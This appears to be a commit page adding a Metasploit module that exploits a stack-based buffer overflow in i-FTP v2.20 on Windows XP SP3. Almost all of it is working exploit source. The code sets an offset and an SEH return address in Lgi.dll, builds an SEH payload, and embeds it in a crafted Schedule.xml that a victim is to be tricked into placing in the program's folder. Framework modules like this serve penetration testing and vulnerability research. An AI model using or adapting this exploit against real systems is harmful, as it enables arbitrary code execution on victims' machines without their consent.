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Land #4444 - i-FTP BoF
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commit
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modules/exploits/windows/fileformat/iftp_schedule_bof.rb
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95
modules/exploits/windows/fileformat/iftp_schedule_bof.rb
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rexml/document'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::Seh
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include REXML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'i-FTP Schedule Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow vulnerability in
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i-Ftp v2.20, caused by a long time value set for scheduled download.
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By persuading the victim to place a specially-crafted Schedule.xml file
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in the i-FTP folder, a remote attacker could execute arbitrary code on
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the system or cause the application to crash. This module has been
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tested successfully on Windows XP SP3.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'metacom', # Vulnerability discovery and PoC
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'Gabor Seljan' # Metasploit module
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],
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'References' =>
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[
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[ 'EDB', '35177' ],
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[ 'OSVDB', '114279' ],
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],
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'DefaultOptions' =>
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{
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'ExitFunction' => 'process'
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'BadChars' => "\x00\x0a\x0d\x20\x22",
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'Space' => 2000
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},
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'Targets' =>
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[
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[ 'Windows XP SP3',
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{
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'Offset' => 600,
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'Ret' => 0x1001eade # POP ECX # POP ECX # RET [Lgi.dll]
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Nov 06 2014',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'Schedule.xml'])
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],
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self.class)
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end
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def exploit
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evil = rand_text_alpha(target['Offset'])
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evil << generate_seh_payload(target.ret)
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evil << rand_text_alpha(20000)
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xml = Document.new
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xml << XMLDecl.new('1.0', 'UTF-8')
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xml.add_element('Schedule', {})
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xml.elements[1].add_element(
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'Event',
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{
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'Url' => '',
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'Time' => 'EVIL',
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'Folder' => ''
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})
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sploit = ''
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xml.write(sploit, 2)
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sploit = sploit.gsub(/EVIL/, evil)
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# Create the file
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(sploit)
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end
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end
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